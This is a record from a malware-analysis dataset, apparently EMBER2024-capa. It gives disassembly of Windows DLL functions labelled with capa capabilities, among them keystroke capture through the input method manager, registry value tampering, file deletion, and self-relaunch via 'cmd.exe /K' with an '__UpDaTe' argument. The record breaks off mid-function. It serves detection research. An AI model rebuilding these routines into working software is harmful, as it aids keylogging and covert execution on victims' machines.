joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180001c4c
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov r9d, dword [rcx]
movsx rax, dl
mov r10, rcx
mov r8d, r9d
shr r9d, 8
xor r8, rax
movzx eax, r8b
lea r8, [0x18003db30]
mov edx, dword [r8 + rax*4]
xor edx, r9d
mov dword [rcx], edx
movzx eax, dl
mov edx, dword [rcx + 8]
add eax, dword [rcx + 4]
imul eax, eax, 0x8088405
inc eax
mov dword [rcx + 4], eax
movzx eax, byte [r10 + 7]
movzx ecx, dl
xor rcx, rax
shr edx, 8
mov eax, dword [r8 + rcx*4]
xor eax, edx
mov dword [r10 + 8], eax
ret

Function at 0x18000208c
Capabilities:
Create directory

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x240
mov rax, qword [0x18004e5f0]
xor rax, rsp
mov qword [rsp + 0x230], rax
xor edi, edi
mov bl, dl
cmp word [rcx], di
jne 0x1800020bd
xor al, al
jmp 0x180002134
mov rdx, rcx
lea rcx, [rsp + 0x20]
mov r8d, 0x105
call fcn.18001c930
mov esi, 0x5c
lea rcx, [rsp + 0x20]
test bl, bl
jne 0x1800020f0
mov edx, esi
call fcn.18001c6f8
test rax, rax
je 0x1800020b9
mov word [rax + 2], di
jmp 0x1800020f5
call fcn.180002060
lea rcx, [rsp + 0x20]
mov edx, esi
call fcn.18001c6d8
test rax, rax
je 0x1800020b9
lea rcx, [rax + 2]
jmp 0x180002123
lea rcx, [rsp + 0x20]
xor edx, edx
mov word [rbx], di
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov word [rbx], si
lea rcx, [rbx + 2]
mov edx, esi
call fcn.18001c6d8
mov rbx, rax
test rax, rax
jne 0x18000210c
mov al, 1
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.180019850
lea r11, [rsp + 0x240]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret

Function at 0x180002d20
Capabilities:
Log keystrokes via input method manager

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
xor edi, edi
mov r14d, r8d
mov rsi, rdx
mov r12, rcx
test rdx, rdx
jne 0x180002d53
xor al, al
jmp 0x180002e1a
mov byte [rdx], dil
call sub.IMM32.dll_ImmGetContext
mov rbp, rax
test rax, rax
je 0x180002e17
xor r9d, r9d
xor r8d, r8d
mov edx, 0x800
mov rcx, rax
call sub.IMM32.dll_ImmGetCompositionStringA
mov ecx, 0x42
mov r15d, eax
lea rdx, [r15 + 1]
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
mov r8d, r15d
xor edx, edx
mov rcx, rax
mov r13, rax
call fcn.180019880
mov r9d, r15d
mov r8, r13
mov edx, 0x800
mov rcx, rbp
call sub.IMM32.dll_ImmGetCompositionStringA
mov byte [r15 + r13], dil
test r15d, r15d
je 0x180002de8
lea eax, [r14 - 1]
lea ecx, [r14 - 1]
mov rdx, r13
cmp r15d, eax
cmovb ecx, r15d
movsxd rbx, ecx
mov rcx, rsi
mov r8, rbx
call fcn.18001b990
mov byte [rbx + rsi], dil
mov dil, 1
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_GlobalHandle]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_GlobalHandle]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalFree]
mov rdx, rbp
mov rcx, r12
call sub.IMM32.dll_ImmReleaseContext
mov al, dil
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x180003460
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x30
mov rbx, rcx
lea rcx, [0x1800a9120]
call fcn.18001b8d0
test rax, rax
jne 0x18000348d
lea rdx, [0x180050a78]
lea rcx, [0x1800a9120]
call fcn.180019fe0
cmp qword [0x1800a9008], 0
jne 0x1800034f8
mov rcx, qword [rbx]
test rcx, rcx
jne 0x1800034bc
lea r9, str.x_27_k_startevent
lea edx, [rcx + 1]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rbx], rax
test rax, rax
je 0x1800034f8
jmp 0x1800034c2
call qword [sym.imp.KERNEL32.dll_ResetEvent]
and dword [rsp + 0x48], 0
lea rax, [rsp + 0x48]
lea r8, [0x180003288]
mov qword [rsp + 0x28], rax
and dword [rsp + 0x20], 0
mov r9, rbx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x1800034f8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0x30
pop rbx
ret

Function at 0x1800057e4
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
lea rbp, [rsp - 0x180]
sub rsp, 0x280
mov rax, qword [0x18004e5f0]
xor rax, rsp
mov qword [rbp + 0x170], rax
mov rsi, rdx
lea rdx, [rsp + 0x20]
mov r13, r8
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov r12, rax
cmp rax, 0xffffffffffffffff
jne 0x180005834
xor eax, eax
jmp 0x18000592c
xor edi, edi
test byte [rsp + 0x20], 0x10
jne 0x180005897
mov eax, dword [rsp + 0x40]
dec eax
cmp eax, 0x9ffffe
ja 0x180005856
cmp edi, 0x3e8
jge 0x180005856
inc edi
jmp 0x180005897
mov edx, 0x5c
mov rcx, rsi
call fcn.18001c6b0
test rax, rax
je 0x180005897
sub eax, esi
lea rcx, [rbp + 0x60]
mov rdx, rsi
inc eax
movsxd rbx, eax
mov r8, rbx
call fcn.18001b990
lea rcx, [rbp + rbx + 0x60]
lea rdx, [rsp + 0x4c]
call fcn.180019fe0
lea rcx, [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
lea rdx, [rsp + 0x20]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x180005836
mov eax, edi
imul eax, eax, 0x104
movsxd rcx, eax
call fcn.18001b978
mov rcx, r12
mov qword [r13], rax
call qword [sym.imp.KERNEL32.dll_FindClose]
lea rdx, [rsp + 0x20]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
xor ebx, ebx
xor r12d, r12d
mov rsi, rax
test byte [rsp + 0x20], 0x10
jne 0x18000590f
cmp ebx, edi
jge 0x18000590f
mov ecx, dword [rsp + 0x40]
dec ecx
cmp ecx, 0x9ffffe
ja 0x18000590f
movsxd rcx, r12d
lea rdx, [rsp + 0x4c]
add rcx, qword [r13]
call fcn.180019fe0
inc ebx
add r12d, 0x104
lea rdx, [rsp + 0x20]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x1800058dc
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindClose]
mov eax, ebx
mov rcx, qword [rbp + 0x170]
xor rcx, rsp
call fcn.180019850
mov rbx, qword [rsp + 0x2b0]
add rsp, 0x280
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x180005a18
Capabilities:
Create process on windows
Move file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r12
lea rbp, [rsp - 0x100]
sub rsp, 0x200
mov rax, qword [0x18004e5f0]
xor rax, rsp
mov qword [rbp + 0xf0], rax
mov r12d, r8d
mov rdi, rdx
test rdx, rdx
je 0x180005bf7
xor edx, edx
lea rcx, [rsp + 0x78]
lea r8d, [rdx + 0x60]
call fcn.180019880
and qword [rsp + 0x50], 0
xor eax, eax
lea rcx, [rbp - 0x1f]
xor edx, edx
mov r8d, 0x103
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x70], 0x68
mov byte [rbp - 0x20], al
call fcn.180019880
lea rcx, [rbp - 0x20]
mov rdx, rdi
call fcn.180019fe0
lea rdx, str..spi
lea rcx, [rbp - 0x20]
call fcn.18001c168
test rax, rax
jne 0x180005ac0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
jmp 0x180005b01
lea rdx, [0x18003e6fc]
lea rcx, [rbp - 0x20]
mov byte [rax + 1], 0
call fcn.180019f40
lea rdx, [rbp - 0x20]
mov r8d, 1
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_MoveFileExA]
lea rdx, str.__UpDaTe
lea rcx, [rbp - 0x20]
call fcn.180019f40
lea r11, [rsp + 0x50]
mov qword [rsp + 0x48], r11
lea rax, [rsp + 0x70]
lea rdx, [rbp - 0x20]
xor r9d, r9d
mov qword [rsp + 0x40], rax
and qword [rsp + 0x38], 0
and qword [rsp + 0x30], 0
xor r8d, r8d
xor ecx, ecx
mov dword [rsp + 0x28], 0x8000000
and dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x180005b43
mov eax, dword [rsp + 0x60]
jmp 0x180005bf9
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
je 0x180005bf7
lea rdx, str.WinExec
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
test rax, rax
je 0x180005bee
lea rdx, str..spi
lea rcx, [rbp - 0x20]
call fcn.18001c168
test rax, rax
je 0x180005bd2
lea rdx, [0x18003e6fc]
lea rcx, [rbp - 0x20]
mov byte [rax + 1], 0
call fcn.180019f40
lea rdx, [rbp - 0x20]
mov r8d, 1
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_MoveFileExA]
lea rdi, str.cmd.exe__K
lea rdx, [rbp - 0x20]
mov rcx, rdi
call fcn.180019f40
lea rdx, str.__UpDaTe
mov rcx, rdi
call fcn.180019f40
mov edx, r12d
mov rcx, rdi
call rsi
mov edi, eax
cmp eax, 0x1f
jle 0x180005bee
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, edi
jmp 0x180005bf9
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor eax, eax
mov rcx, qword [rbp + 0xf0]
xor rcx, rsp
call fcn.180019850
lea r11, [rsp + 0x200]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r12
pop rdi
pop rbp
ret
Function at 0x180005c20
Capabilities:
Create process on windows
Move file

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x100]
sub rsp, 0x200
mov rax, qword [0x18004e5f0]
xor rax, rsp
mov qword [rbp + 0xf0], rax
mov rbx, rdx
test rdx, rdx
jne 0x180005c55
xor eax, eax
jmp 0x180005d65
xor edx, edx
lea rcx, [rsp + 0x78]
lea r8d, [rdx + 0x60]
call fcn.180019880
and qword [rsp + 0x58], 0
xor eax, eax
lea rcx, [rbp - 0x1f]
xor edx, edx
mov r8d, 0x103
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x70], 0x68
mov byte [rbp - 0x20], al
call fcn.180019880
lea rcx, [rbp - 0x20]
mov rdx, rbx
call fcn.180019fe0
and qword [rsp + 0x50], 0
lea rdx, str..spi
lea rcx, [rbp - 0x20]
call fcn.18001c168
test rax, rax
je 0x180005cf1
lea rdx, [0x18003e6fc]
lea rcx, [rbp - 0x20]
mov byte [rax + 1], 0
call fcn.180019f40
lea rdx, [rbp - 0x20]
mov r8d, 1
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_MoveFileExA]
lea rdx, str.__UpDaTe
lea rcx, [rbp - 0x20]
call fcn.180019f40
lea r8, [rsp + 0x50]
lea rdx, [rbp - 0x20]
lea rcx, [0x180050ff0]
mov r9d, 0xfde9
call fcn.180008328
mov rdx, qword [rsp + 0x50]
lea r11, [rsp + 0x58]
mov qword [rsp + 0x48], r11
lea rax, [rsp + 0x70]
xor r9d, r9d
mov qword [rsp + 0x40], rax
and qword [rsp + 0x38], 0
and qword [rsp + 0x30], 0
xor r8d, r8d
xor ecx, ecx
mov dword [rsp + 0x28], 0x8000000
and dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rcx, qword [rsp + 0x50]
mov ebx, eax
test rcx, rcx
je 0x180005d5d
call fcn.18001a1d8
neg ebx
sbb eax, eax
and eax, dword [rsp + 0x68]
mov rcx, qword [rbp + 0xf0]
xor rcx, rsp
call fcn.180019850
mov rbx, qword [rsp + 0x210]
add rsp, 0x200
pop rbp
ret

Function at 0x180005d88
Capabilities:
Delete registry value

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x30
xor edi, edi
mov rbx, rdx
cmp byte [rcx + 0x74c], dil
je 0x180005dbb
lea r9, [rcx + 0x648]
lea rcx, str.PARAM
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
mov al, 1
jmp 0x180005e0a
lea rax, [rsp + 0x40]
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionTelephony
mov r9d, 2
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x180005dea
xor al, al
jmp 0x180005e0a
mov rcx, qword [rsp + 0x40]
mov rdx, rbx
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov rcx, qword [rsp + 0x40]
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
sete al
mov rbx, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
Function at 0x180005e18
Capabilities:
Print debug messages
Query or enumerate registry value
Set registry value

Disassembly:
push rbp
push rbx
push rdi
lea rbp, [rsp - 0x80]
sub rsp, 0x180
mov rax, qword [0x18004e5f0]
xor rax, rsp
mov qword [rbp + 0x70], rax
cmp byte [rcx + 0x74c], 0
mov rbx, r8
mov rdi, rdx
mov dword [rsp + 0x50], 1
je 0x180005e66
lea r9, [rcx + 0x648]
lea rcx, str.PARAM
call qword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
jmp 0x180005f66
lea rax, [rsp + 0x64]
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionTelephony
xor r9d, r9d
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x58]
xor r8d, r8d
mov qword [rsp + 0x38], rax
and qword [rsp + 0x30], 0
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x28], 0xf003f
and dword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
je 0x180005ebd
lea rcx, str.RegCreateKeyEx_Error__n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
jmp 0x180005f66
lea rcx, [rsp + 0x71]
xor edx, edx
mov r8d, 0xfe
mov byte [rsp + 0x70], 0
call fcn.180019880
mov rcx, qword [rsp + 0x58]
lea rax, [rsp + 0x60]
lea r9, [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x70]
mov rdx, rdi
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x60], 0xff
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x180005f1b
lea rdx, [rsp + 0x70]
mov rcx, rbx
call fcn.18001ec58
test eax, eax
je 0x180005f5b
mov rcx, rbx
mov dword [rsp + 0x50], 1
call fcn.18001b8d0
mov r9d, dword [rsp + 0x50]
mov rcx, qword [rsp + 0x58]
mov dword [rsp + 0x28], eax
xor r8d, r8d
mov rdx, rdi
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x180005f5b
lea rcx, str.set_value_error
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp + 0x70]
xor rcx, rsp
call fcn.180019850
add rsp, 0x180
pop rdi
pop rbx
pop rbp
ret
Function at 0x180005f80
Capabilities:
Print debug messages
Query or enumerate registry value
Set registry value

Disassembly:
push rbp
push rbx
push rdi
lea rbp, [rsp - 0x80]
sub rsp, 0x180
mov rax, qword [0x18004e5f0]
xor rax, rsp
mov qword [rbp + 0x70], rax
cmp byte [rcx + 0x74c], 0
mov rbx, r8
mov rdi, rdx
mov dword [rsp + 0x50], 3
je 0x180005fce
lea r9, [rcx + 0x648]
lea rcx, str.PARAM
call qword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
jmp 0x1800060d0
lea rax, [rsp + 0x64]
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionTelephony
xor r9d, r9d
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x58]
xor r8d, r8d
mov qword [rsp + 0x38], rax
and qword [rsp + 0x30], 0
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x28], 0xf003f
and dword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
je 0x180006025
lea rcx, str.RegCreateKeyEx_Error__n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
jmp 0x1800060d0
lea rcx, [rsp + 0x71]
xor edx, edx
mov r8d, 0xfe
mov byte [rsp + 0x70], 0
call fcn.180019880
mov rcx, qword [rsp + 0x58]
lea rax, [rsp + 0x60]
lea r9, [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x70]
mov rdx, rdi
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x60], 0xff
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x180006083
lea rdx, [rsp + 0x70]
mov rcx, rbx
call fcn.18001ec58
test eax, eax
je 0x1800060c5
mov rcx, rbx
mov dword [rsp + 0x50], 3
call fcn.18001b8d0
mov r9d, dword [rsp + 0x50]
mov rcx, qword [rsp + 0x58]
inc eax
xor r8d, r8d
mov rdx, rdi
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x1800060c5
lea rcx, str.set_value_error
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp + 0x70]
xor rcx, rsp
call fcn.180019850
add rsp, 0x180
pop rdi
pop rbx
pop rbp
ret
Function at 0x1800060e8
Capabilities:
Query or enumerate registry value
Read .ini file

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
mov rbp, rsp
sub rsp, 0x30
cmp byte [rcx + 0x74c], 0
mov rsi, rdx
mov rdi, rcx
mov dword [rbp + 0x30], 3
je 0x180006156
mov ecx, 0x32
call fcn.18001b978
mov rbx, rax
test rax, rax
je 0x18000621b
lea rcx, [rdi + 0x648]
lea r8, [0x18003e22c]
mov r9, rax
mov qword [rsp + 0x28], rcx
lea rcx, str.PARAM
mov rdx, rsi
mov dword [rsp + 0x20], 0x32
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
jmp 0x18000621b
lea rax, [rbp + 0x38]
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionTelephony
mov r9d, 0x20019
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x180006187
xor eax, eax
jmp 0x18000621e
mov rcx, qword [rbp + 0x38]
and dword [rbp + 0x20], 0
lea rax, [rbp + 0x20]
mov qword [rsp + 0x28], rax
and qword [rsp + 0x20], 0
lea r9, [rbp + 0x30]
xor r8d, r8d
mov rdx, rsi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x1800061be
mov rcx, qword [rbp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x180006180
mov ecx, dword [rbp + 0x20]
inc ecx
call fcn.18001b978
mov rbx, rax
test rax, rax
je 0x180006211
mov r8d, dword [rbp + 0x20]
xor edx, edx
mov rcx, rax
inc r8d
call fcn.180019880
mov rcx, qword [rbp + 0x38]
lea r11, [rbp + 0x20]
mov qword [rsp + 0x28], r11
lea r9, [rbp + 0x30]
xor r8d, r8d
mov rdx, rsi
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x180006211
mov rcx, rbx
call fcn.18001a1d8
xor ebx, ebx
mov rcx, qword [rbp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, rbx
mov rbx, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
pop rsi
pop rbp
ret
Function at 0x18000622c
Capabilities:
Query or enumerate registry value
Read .ini file

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
mov rbp, rsp
sub rsp, 0x30
cmp byte [rcx + 0x74c], 0
mov rsi, rdx
mov rdi, rcx
mov dword [rbp + 0x30], 1
je 0x18000629a
mov ecx, 0x32
call fcn.18001b978
mov rbx, rax
test rax, rax
je 0x18000634c
lea rcx, [rdi + 0x648]
lea r8, [0x18003e22c]
mov r9, rax
mov qword [rsp + 0x28], rcx
lea rcx, str.PARAM
mov rdx, rsi
mov dword [rsp + 0x20], 0x32
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
jmp 0x18000634c
lea rax, [rbp + 0x38]
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionTelephony
mov r9d, 0x20019
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x1800062cb
xor eax, eax
jmp 0x18000634f
mov rcx, qword [rbp + 0x38]
and dword [rbp + 0x20], 0
lea rax, [rbp + 0x20]
mov qword [rsp + 0x28], rax
and qword [rsp + 0x20], 0
lea r9, [rbp + 0x30]
xor r8d, r8d
mov rdx, rsi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x180006302
mov rcx, qword [rbp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x1800062c4
mov ecx, dword [rbp + 0x20]
call fcn.18001b978
mov rbx, rax
test rax, rax
je 0x180006342
mov rcx, qword [rbp + 0x38]
lea rax, [rbp + 0x20]
lea r9, [rbp + 0x30]
mov qword [rsp + 0x28], rax
xor r8d, r8d
mov rdx, rsi
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x180006342
mov rcx, rbx
call fcn.18001a1d8
xor ebx, ebx
mov rcx, qword [rbp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, rbx
mov rbx, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
pop rsi
pop rbp
ret

Function at 0x18000635c
Capabilities:
Enumerate files on windows

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x170
mov rax, qword [0x18004e5f0]
xor rax, rsp
mov qword [rsp + 0x160], rax
mov rcx, rdx
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x180006396
xor eax, eax
jmp 0x1800063be
xor ebx, ebx
test byte [rsp + 0x20], 0x10
jne 0x1800063a1
inc ebx
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x180006398
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindClose]
mov eax, ebx
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.180019850
mov rbx, qword [rsp + 0x180]
add rsp, 0x170
pop rdi
ret
Function at 0x1800068e8
Capabilities:
Delete file

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x238]
sub rsp, 0x330
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov rax, qword [0x18004e5f0]
xor rax, rsp
mov qword [rbp + 0x220], rax
mov rdi, rdx
xor ebx, ebx
test rdx, rdx
jne 0x180006931
xor al, al
jmp 0x180006a8f
lea rcx, [rbp - 0x80]
call fcn.18001700c
nop
mov byte [rbp + 0x110], bl
xor edx, edx
mov r8d, 0x103
lea rcx, [rbp + 0x111]
call fcn.180019880
mov rdx, rdi
lea rcx, [rbp + 0x110]
call fcn.180019fe0
mov edx, 0x5c
lea rcx, [rbp + 0x110]
call fcn.18001c6b0
test rax, rax
je 0x18000697d
mov byte [rax + 1], bl
mov esi, 0xf
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x38], rbx
mov byte [rsp + 0x28], bl
mov rcx, rdi
call fcn.18001b8d0
mov r8, rax
mov rdx, rdi
lea rcx, [rsp + 0x28]
call fcn.180002a24
nop
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x60], rbx
mov byte [rsp + 0x50], bl
lea rcx, [rbp + 0x110]
call fcn.18001b8d0
mov r8, rax
lea rdx, [rbp + 0x110]
lea rcx, [rsp + 0x50]
call fcn.180002a24
nop
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x28]
lea rcx, [rbp - 0x80]
call fcn.180016e68
mov rcx, rdi
test al, al
jne 0x180006a3b
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
nop
cmp qword [rsp + 0x68], 0x10
jb 0x180006a0b
mov rcx, qword [rsp + 0x50]
call fcn.18001996c
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x60], rbx
mov byte [rsp + 0x50], bl
cmp qword [rsp + 0x40], 0x10
jb 0x180006a2b
mov rcx, qword [rsp + 0x28]
call fcn.18001996c
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x38], rbx
mov byte [rsp + 0x28], bl
jmp 0x180006a84
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
nop
cmp qword [rsp + 0x68], 0x10
jb 0x180006a54
mov rcx, qword [rsp + 0x50]
call fcn.18001996c
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x60], rbx
mov byte [rsp + 0x50], bl
cmp qword [rsp + 0x40], 0x10
jb 0x180006a74
mov rcx, qword [rsp + 0x28]
call fcn.18001996c
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x38], rbx
mov byte [rsp + 0x28], bl
mov bl, 1
lea rcx, [rbp - 0x80]
call fcn.180017040
mov al, bl
mov rcx, qword [rbp + 0x220]
xor rcx, rsp
call fcn.180019850
lea r11, [rsp + 0x330]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x180006ab8
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x160]
sub rsp, 0x260
mov rax, qword [0x18004e5f0]
xor rax, rsp
mov qword [rbp + 0x150], rax
mov rsi, r8
mov rdi, rdx
xor ebx, ebx
lea rcx, [rsp + 0x31]
xor edx, edx
mov r8d, 0x103
mov qword [rsp + 0x20], rbx
mov byte [rsp + 0x30], bl
call fcn.180019880
lea rcx, [rsp + 0x30]
mov rdx, rdi
call fcn.180019fe0
lea edx, [rbx + 0x5c]
lea rcx, [rsp + 0x30]
call fcn.18001c6b0
test rax, rax
je 0x180006b25
mov byte [rax + 1], bl
lea rcx, [rbp + 0x41]
xor edx, edx
mov r8d, 0x103
mov byte [rbp + 0x40], bl
call fcn.180019880
lea r8, [rsp + 0x20]
lea rcx, [0x180050870]
mov rdx, rdi
call fcn.1800057e4
test eax, eax
jle 0x180006b9f
mov edi, eax
mov rax, qword [rsp + 0x20]
lea r8, [rsp + 0x30]
lea rdx, [0x18003e7dc]
lea r9, [rbx + rax]
lea rcx, [rbp + 0x40]
call qword [sym.imp.USER32.dll_wsprintfA]
lea rdx, [rbp + 0x40]
xor r9d, r9d
xor r8d, r8d
mov rcx, rsi
call fcn.1800102b4
cmp eax, 1
jne 0x180006b93
lea rcx, [rbp + 0x40]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
add rbx, 0x104
dec rdi
jne 0x180006b53
mov rcx, qword [rsp + 0x20]
call fcn.18001a1d8
mov rcx, qword [rbp + 0x150]
xor rcx, rsp
call fcn.180019850
mov rbx, qword [rsp + 0x280]
add rsp, 0x260
pop rdi
pop rsi
pop rbp
ret

Function at 0x180006cc8
Capabilities:
Terminate thread

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
lea rcx, [0x180050fd8]
call fcn.180002cf4
mov rcx, qword [rbx + 0x2120]
mov byte [rbx + 0x30], 1
test rcx, rcx
je 0x180006cf3
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x180006d21
mov edx, 0x1388
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x180006d17
mov rcx, qword [rbx + 0x10]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, qword [rbx + 0x10]
